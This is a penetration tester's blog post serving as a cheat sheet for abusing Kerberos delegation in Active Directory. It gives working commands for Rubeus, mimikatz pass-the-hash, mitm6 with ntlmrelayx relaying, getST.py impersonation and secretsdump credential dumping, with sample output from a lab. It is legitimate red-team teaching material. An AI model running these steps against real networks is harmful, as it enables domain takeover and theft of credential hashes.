Delegating Like a Boss: Abusing Kerberos Delegation in Active Directory
Posted by: Kevin Murphy
I wanted to write a post that could serve as a (relatively) quick reference for how to abuse the various types of Kerberos delegation that you may find in an Active Directory environment during a penetration test or red team engagement. The three main types of delegation I’ll cover are:
For each delegation type, I’ll hit on the following points:
- The use case for when it can be abused to further your access in an environment
- How to identify computer/user accounts that are potential targets for abuse
- Step-by-step examples on how to execute the attack with plenty of screenshots
Note: This post will not go into great depth explaining exactly how these delegation concepts work, but will instead be a “cheat sheet” that can be quickly referenced during an engagement. There are plenty of excellent resources already available that go into incredible detail on these concepts and are absolute must-reads. I’ll be sharing these references throughout the post in the applicable delegation sections and highly encourage that you check them out!
One thing to be aware of for all Kerberos delegation abuse scenarios is the concept of “sensitive” users and the “Protected Users” Active Directory group. Sensitive users are those that have the “Account is sensitive and cannot be delegated” setting enabled (resulting in their UserAccountControl property containing the “NOT_DELEGATED” value). Members of the Protected Users group are also excluded from being impersonated via Kerberos delegation. This applies to all types of delegation attacks that will be discussed in this post.
With that important caveat out of the way, let’s get to it.
Unconstrained Delegation
References / Background
- @PyroTek3 – Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)
- @_dirkjan – “Relaying” Kerberos – Having fun with unconstrained delegation
- @harmj0y, @tifkin_, and @enigma0x3 – “Printer bug” explanation from DerbyCon 2018 talk – The Unintended Risks of Trusting Active Directory
- Tools for triggering the printer bug:
Use Case for When It Can be Abused
You gain local administrative access to a host that is configured for Kerberos Unconstrained Delegation. You then trigger the printer bug on a domain controller to coerce it to authenticate to the compromised host using its machine account (which has privileges to perform DCSync operations).
You can use Rubeus to monitor for this authentication from the DC and steal the Kerberos Ticket Granting Ticket (TGT) that it sends to the compromised host. This TGT can then be repurposed to perform a DCSync to obtain the NTLM hash for any account in the domain (e.g., krbtgt, Administrator, etc.).
Identifying Targets for Abuse
Identifying systems that are configured for Unconstrained Delegation is easy with PowerView:
Any computer account that contains the TRUSTED_FOR_DELEGATION value in its UserAccountControl (UAC) attribute is a viable target. You’ll always see domain controllers with this value as this is a default setting. Domain controllers will also have the SERVER_TRUST_ACCOUNT UAC value, making them easy to differentiate from non-DCs. The real targets for domain privilege escalation will be non-DCs that have the TRUSTED_FOR_DELEGATION UAC value present, such as WINWS-01.dev.biz.local in the example above.
Attack Walkthrough
In a high-integrity PS/CMD prompt on the system configured for Unconstrained Delegation, run Rubeus in monitor mode:
Next, using a domain credential that you’ve previously compromised, trigger the printer bug on a domain controller. The below example is using printerbug.py
from the krbrelayx toolkit by @_dirkjan. In this case, I’m triggering the bug on host DC01.DEV.BIZ.LOCAL and coercing it to authenticate against the host that I control where I’m running Rubeus, WINWS-01.DEV.BIZ.LOCAL.
After a few seconds, we see the authentication come from DC01$ along with its TGT.
The base64-encoded ticket shown can then be reused to authenticate to any resource in AD as the DC01$ computer account. Note that you’ll need to strip out any newlines and spaces from the base64 string before using it in the next command. Here we’ll use Rubeus again to “pass-the-ticket” with the ptt
command and import it into our current session.
To complete the attack, we’ll use mimikatz to perform a DCSync using the DC01$ TGT and request the NTLM hash for the dev\administrator account.
This DCSync step could also be done from Kali Linux using secretsdump.py
that can be found in the amazing Impacket repo from SecureAuth Corporation. In order to make use of the TGT, however, you’d first need to convert it from the kirbi format to the ccache format. Steps are shown below:
1. Convert the base64-encoded blob for the DC01$ TGT to a kirbi ticket using PowerShell.
[IO.File]::WriteAllBytes("C:\fullpathtoticket.kirbi", [Convert]::FromBase64String("aa…"))
2. Convert the ticket.kirbi to a ccache file using Kekeo from @gentilkiwi.
kekeo # misc::convert ccache ticket.kirbi
3. Copy the ccache file to your Kali box and export the KRB5CCNAME variable with the path to the ccache file as the value.
export KRB5CCNAME=/path/to/ticket.ccache
4. Dump domain hashes with secretsdump.py
secretsdump.py -k -no-pass domain/user@domain-controller-fqdn
Constrained Delegation
References / Background
- @harmj0y – S4U2Pwnage and the “s4u” section of From Kekeo to Rubeus
- @Meatballs__ – Trust? Years to earn, seconds to break
- Microsoft documentation on the Kerberos Service for User (S4U) extension
Use Case for When It Can be Abused
If you’re able to compromise a computer/user account that is configured for Constrained Delegation (i.e., the account’s UserAccountControl attribute contains the value TRUSTED_TO_AUTH_FOR_DELEGATION), the next important AD attribute to look at is that account’s msDS-AllowedToDelegateTo property. This property will list one or more hostnames/SPNs where the account is permitted to impersonate any (non-sensitive / unprotected) user in the domain.
Here is an example showing what that looks like in Windows:
This shows that the “svc_axis” account is allowed to delegate (i.e., act on behalf of) any non-sensitive / unprotected accounts to the CIFS service on the LABFS$ host. More accurately, it allows the svc_axis account to impersonate users to ANY service (e.g., HOST/HTTP/LDAP, etc.) on the LABFS$ host. More on that later.
Identifying Targets for Abuse
Here is what that same configuration looks like when queried using PowerView’s Get-DomainUser -TrustedToAuth
command
PowerView makes it very easy to find user/computer accounts that are configured with this setting, using the -TrustedToAuth
flag like so:
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Attack Walkthrough
First, we’ll verify that the svc_axis account doesn’t have access to the C$ share on LABFS$…
We’ll use Rubeus to abuse this Constrained Delegation configuration via the “s4u
” command.
In this attack, we’re assuming you have control over an account that is configured for Constrained Delegation. We’ll break this down further into two scenarios:
Scenario 1 – You have command execution as the account in question, but you don’t know the password for the account.
Scenario 2 – You know the NTLM hash for the account in question (or, you at least know the cleartext password and can derive the NTLM hash).
For Scenario 2, you can just skip right to running the “Rubeus.exe s4u
” command and use the “/rc4:
” and “/user:
” parameters to pass the credential information.
For Scenario 1, you can use the Rubeus tgtdeleg
command to get a usable TGT for the current user you’re running as, then use that ticket as part of the s4u
command.
The base64-encoded TGT shown in the screenshot above can either be saved to a file, or simply passed as a string on the command line. Whether it’s a file on disk or just the base64 string, it’s passed as a parameter to Rubeus via the “/ticket:
” flag.
In this example, we’ll save the file to disk and reference it in later commands. First, we’ll store the base64 string into a variable called $b64
. Then we’ll reference that variable when we decode the base64 and write the ticket to disk at c:\tmp\svc_axis.kirbi
[IO.File]::WriteAllBytes("c:\tmp\svc_axis.kirbi", [Convert]::FromBase64String($b64))
Now we can reference the c:\tmp\svc_axis.kirbi
file (which contains a usable TGT for our current user) in the s4u operation as shown below. In this example, we’re going to be impersonating the lab\administrator user and requesting a TGS ticket for the CIFS service on the labfs.lab.local host.
With the TGS for the administrator account imported, we can now access the C$ share on LABFS$.
Nice! But how about getting a shell? As I briefly alluded to, we can substitute the CIFS service for any other service we choose (using the /altservice:
parameter) when we use the S4U process to request a TGS ticket. This is possible because the service name itself is not in a protected part of the KRB-CRED file.
Option 1 for getting a shell – swapping CIFS for HTTP then getting a shell via WinRM
But what if WinRM isn’t enabled on the remote host? How about using PsExec?
Option 2 for getting a shell – swapping CIFS for HOST then getting a shell via PsExec
Resource-Based Constrained Delegation
Note: Resource-Based Constrained Delegation (RBCD) is a feature that was introduced starting with Windows Server 2012. Be aware that if you’re operating in an environment without any domain controllers running Server 2012 or higher, RBCD attacks won’t be an option.
References / Background
- @elad_shamir – Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
- @_dirkjan – The worst of both worlds: Combining NTLM Relaying and Kerberos delegation
- @decoder_it – Donkey’s guide to Resource Based Constrained Delegation Exploitation – from simple user to (almost) DA
- @harmj0y – Another Word on Delegation and A Case Study in Wagging the Dog: Computer Takeover
Use Cases for When it Can be Abused
Resource-Based Constrained Delegation is arguably the most complex of the three delegation types, so the opportunities for abuse are not as straightforward as they are for Unconstrained and Constrained. There are a few attack avenues that can be pursued to abuse RBCD. I’ll break them down into three scenarios. Make sure to read the articles in the References links above first or this will likely sound like gibberish.
Scenario 1 – You’ve compromised a computer/user account that is listed in a another computer account’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute. The account you’ve compromised can be leveraged to impersonate ANY user account (excluding protected/sensitive accounts) to ANY service on the host with the respective msDS-AllowedToActOnBehalfOfOtherIdentity value.
Scenario 2 – You’ve compromised a computer/user account that has GenericWrite access over another computer account in the domain. You can use this GenericWrite privilege to add the account you’ve compromised to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer and subsequently impersonate ANY user account (again, excluding protected/sensitive accounts) to ANY service on that host.
Scenario 3 – You don’t have any credentials yet. Instead, you use a tool such as mitm6 or Responder in combination with Impacket’s ntlmrelayx to relay a computer account’s NTLM credentials to LDAPS to create a new computer account and add that computer to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the computer account whose credentials were just relayed. The final stage of the attack (the impersonation phase) works almost identically to the previous two scenarios described above.
Identifying Targets for Abuse
Scenario 1 – You’ve compromised a computer/user account and want to know if there are any computers in the domain where your account can impersonate other users (i.e., it’s listed in a computer’s msDS-AllowedToActOnBehalfOfOtherIdentity value).
Here’s a way (using PowerView) to find any computer in the domain where the msDS-AllowedToActOnBehalfOfOtherIdentity value is NOT null. [Note: I’m not aware of a simple way to look for a specific value in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for every computer in the domain, so for now, I’m just showing how to look for any non-null value. Please let me know if you know of a quick way to do that].
This output indicates that the LABAXIS$ host is configured for RBCD. As we can see, the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute is binary data. One way to translate that binary data into human-readable form is via the Get-ADComputer cmdlet from Microsoft’s Remote Server Administration Tools (RSAT). An alternative method is to use PowerView using the steps documented by @harmj0y in this gist. We’ll use the RSAT method here.
[Quick aside: You’ll notice that the “msDS-AllowedToActOnBehalfOfOtherIdentity” and “PrincipalsAllowedToDelegateToAccount” AD properties are almost interchangeable. I’m honestly not sure why there are two names for this attribute, but please let me know if you have any insight!]
This is showing us that the svc_tomcat account has permission to impersonate (unprotected/non-sensitive) users to any service on the LABAXIS$ host. So if we can compromise the svc_tomcat user, we can compromise the LABAXIS$ computer.
Scenario 2 – You’ve compromised a computer/user account and want to know if it has GenericWrite permissions over any computer object in the domain.
Here is an example of using PowerView’s Get-DomainObjectAcl
function to query a specific LDAP search path for any objects where the SID of the object’s access control entry (ACE) matches the SID of the account you specify (in this case, the svc_tomcat account).
You can also use another great PowerView function, Find-InterestingDomainAcl
, to accomplish a similar goal. Here is an example showing that a computer account, LABWEB$, has GenericWrite privileges over another computer account, LABAXIS$.
Scenario 3 – Hunting for a target of abuse is not really applicable here as your “target” will be a computer account whose NTLM credentials you’re able to capture and relay to LDAPS. In the case of mitm6/Responder, this would be a computer on your local subnet that you’re able to coerce into authenticating to your attacking host.
Attack Walkthrough – Scenario 1
In this example, we’ve compromised the labsvc_tomcat account and determined that this account is listed in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the LABAXIS$ computer account. Our end goal will be to abuse this configuration to compromise the LABAXIS$ host.
First, we’ll confirm that we don’t have access to the \\labfs.lab.local\c$ share using the lab\svc_tomcat account
Next, we’ll start the S4U process to impersonate the lab\administrator account using Rubeus. The base64 string passed via the /ticket:
parameter is taken from the output of the “Rubeus.exe tgtdeleg
” command, which was shown previously in the Constrained Delegation Attack Walkthrough.
Now we can run klist
to confirm that we do in fact have a valid TGS for the CIFS service on labaxis.lab.local as the [email protected] account. Then we do a quick check to confirm access to the C$ share on labaxis.lab.local.
Much like in the case of abusing Constrained Delegation, we can swap out the service name for any other service of our choice. My goto services for getting shell access are HTTP (for a shell via WinRM/PSRemoting) and HOST (for a shell via PsExec). This can be accomplished in the same way as with Constrained Delegation by using the /altservice:
flag with the Rubeus s4u
command.
Attack Walkthrough – Scenario 2
In this example, we’ve compromised the LABWEB$ computer account and determined that it has GenericWrite access on the LABAXIS$ domain object. We’ll abuse these privileges to gain administrative access to the LABAXIS$ host by adding our compromised LABWEB$ account to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the LABAXIS$ computer object.
First, we’ll verify which accounts (if any) currently have RBCD privileges on the LABAXIS$ host using the Get-ADComputer RSAT cmdlet.
So as of now, only the svc_tomcat account has RBCD privileges on our target. Let’s change that by adding our compromised LABWEB$ account to that attribute as well. The commands below are being run under the context of the LABWEB$ account (via a PS session spawned with mimikatz::pth /domain:lab.local /user:labweb$ /rc4:c346ad864595770c06b62347d25cb6cd /run:powershell.exe
)
Now that the LABWEB$ account has RBCD privileges on the LABAXIS$ computer object, we can compromise that host easily with the Rubeus s4u
command as before.
As shown in the example below, an even simpler method of substituting the service name with RBCD is to omit the /altservice:
flag entirely, and just put whatever service you want in the /msdsspn:
flag. Here is an example of using the HTTP SPN and getting a shell on LABAXIS$ via WinRM as the lab\administrator account. As before, the commands shown are being run under the context of the LABWEB$ account. The attack is only possible because the LABWEB$ account is listed (courtesy of our modification via the RSAT Set-ADComputer
command) in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the LABAXIS$ computer object.
Attack Walkthrough – Scenario 3
In this scenario, we have no domain credentials at all, but we’re in a position to MiTM traffic to execute an NTLM relay attack. The two tools we’ll use to execute the attack are mitm6 and ntlmrelayx
from Impacket. Mitm6 will be used to trick a victim machine into using us as its HTTP(S) proxy. Once that’s in place and we receive a HTTP(S) connection from the victim machine’s computer account, ntlmrelayx
does the following:
- Requests proxy authentication from the victim and relays the machine’s (in this example, EXCH$) NTLM credentials to authenticate to the LDAPS service on the target domain controller (ldaps://dc03.lab.local).
- Creates a new computer account and assigns it a random password (this is possible because by default, all AD user/computer accounts have the ability to add up to 10 computers to the domain).
- Adds our newly-created computer account to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the computer whose credentials were relayed (EXCH$). This allows our new computer account to impersonate nearly any user to any service on the target machine.
A couple points to note / gotchas about this attack:
- The attack is only possible if we can relay from HTTP to LDAPS. Relaying from SMB to LDAP or LDAPS is not possible due to signing requirements (some background here). Also, LDAPS (instead of plain LDAP) is required to be able to create new computer accounts. So, if LDAPS is not properly configured on the domain controller, this attack would fail. One quick way to check is to run an nmap version scan (
-sV
) against the LDAPS port (636/TCP by default) and make sure it returns LDAP-specific information. If you just get a “tcpwrapped” response, LDAPS is not properly configured. You could also use theldp.exe
Windows tool to attempt a connection to the LDAPS port and confirm a valid response from the server. - For the attack to be successful, we need to relay a computer account’s credentials (not those of a domain user) to LDAPS. In my testing, one way this will occur is when a system is first booted (for example, to query for the IP address of a WPAD server and then make an HTTP request to retrieve the wpad.dat file). I’m sure there are lots of other ways that an HTTP request is made using the local machine credentials (e.g., checking for Windows updates), and sometimes it’s just a matter of being patient.
- In the example that follows, the credentials that are relayed to the LDAPS service belong to an Exchange server which by default and unless recently patched, has very high privileges in the domain (e.g. ,the ability to modify the domain object itself to grant any user DCSync permissions). Although an Exchange server is used in this example, any machine account will do. No special privileges are necessary.
Update May 2021: The MS patch to reduce domain permissions for Exchange was released in mid-2019 and is likely to be applied in most current environments.
Let’s get to the attack itself.
First, we fire up mitm6
and whitelist the lab.local domain as the one we want to spoof DNS replies for.
In a separate terminal, start ntlmrelayx
using the –delegate-access
parameter and target (-t
) the LDAPS service on our domain controller.
# ntlmrelayx.py -wh rbcd-ftw --delegate-access -t ldaps://dc03.lab.local
The value for the WPAD_HOST parameter (-wh
) is arbitrary and this is what will be included in the PAC file that gets served to the client when they request it. In the mitm6 output, you’ll know things are good when you see successive spoofed DNS responses for wpad.<domain FQDN> then <your WPAD_HOST name>.<domain FQDN>
. In this example, the DNS requests would come in for wpad.lab.local
then rbcd-ftw.lab.local
.
After a bit of waiting, we see the ntlmrelayx
magic happen.
[*] HTTPD: Received connection from 10.10.10.5, attacking target ldaps://dc03.lab.local [*] HTTPD: Client requested path: /wpad.dat [*] HTTPD: Serving PAC file to client 10.10.10.5 [*] HTTPD: Received connection from 10.10.10.5, attacking target ldaps://dc03.lab.local [*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt [*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt [*] Authenticating against ldaps://dc03.lab.local as labEXCH$ SUCCEED [*] Attempting to create computer in: CN=Computers,DC=lab,DC=local [*] Adding new computer with username: WVULATBE$ and password: @rc&uf>i(AqWUQ= result: OK [*] Delegation rights modified successfully! [*] WVULATBE$ can now impersonate users on EXCH$ via S4U2Proxy
Now that our new computer account is created and has permission to impersonate users on EXCH$, we can use getST.py
from Impacket to retrieve a usable TGS ticket for any user to any service on EXCH$. We’ll impersonate lab\administrator and target the CIFS service here.
# getST.py -spn cifs/exch.lab.local -impersonate administrator 'lab.local/WVULATBE
Then we can use that TGS ticket to run secretsdump.py
against the EXCH$ host and dump local credential material.
# export KRB5CCNAME=./administrator.ccache # secretsdump.py -k -no-pass exch.lab.local Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x80d6289c7106552d3612f268ef29a3ca [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2310XXXXXXXXXXXXXXXXXXXXXX9e43b::: ← SNIP →
Credits
- Huge thanks to the security community as a whole for teaching me so much. I especially want to thank @harmj0y, @_dirkjan, and @elad_shamir for their extensive Active Directory / Kerberos research and contributions to the community that made this post possible.
- Shout out to my friend and colleague @lkys37en for sharing so much Active Directory knowledge with me over the last year or so. It’s crazy to think how little I knew about AD not that long ago :). Also big thanks to him for helping build the lab environment that was used in the attack walkthroughs in this post.
Kevin Murphy
Principal Security Consultant, Threat & Attack Simulation,
GuidePoint Security
Kevin Murphy is a Principal Security Consultant at GuidePoint Security that has over ten years of professional experience working in hands-on technical roles. Kevin is a well-rounded information security professional that possesses extensive blue team experience from working in the financial services and health care verticals, as well as substantial red team experience, which was obtained by conducting security assessments against enterprise organizations while working in the consulting space. His specialties include network, systems, and web application penetration testing, as well as red team engagements.
Kevin earned a Bachelor of Science in Computer Science from Union College, and a Master of Science in Information Security from Boston University. He also holds several certifications, including the Offensive Security Certified Expert (OSCE), the Offensive Security Certified Professional (OSCP), and the Certified Information Systems Security Professional (CISSP).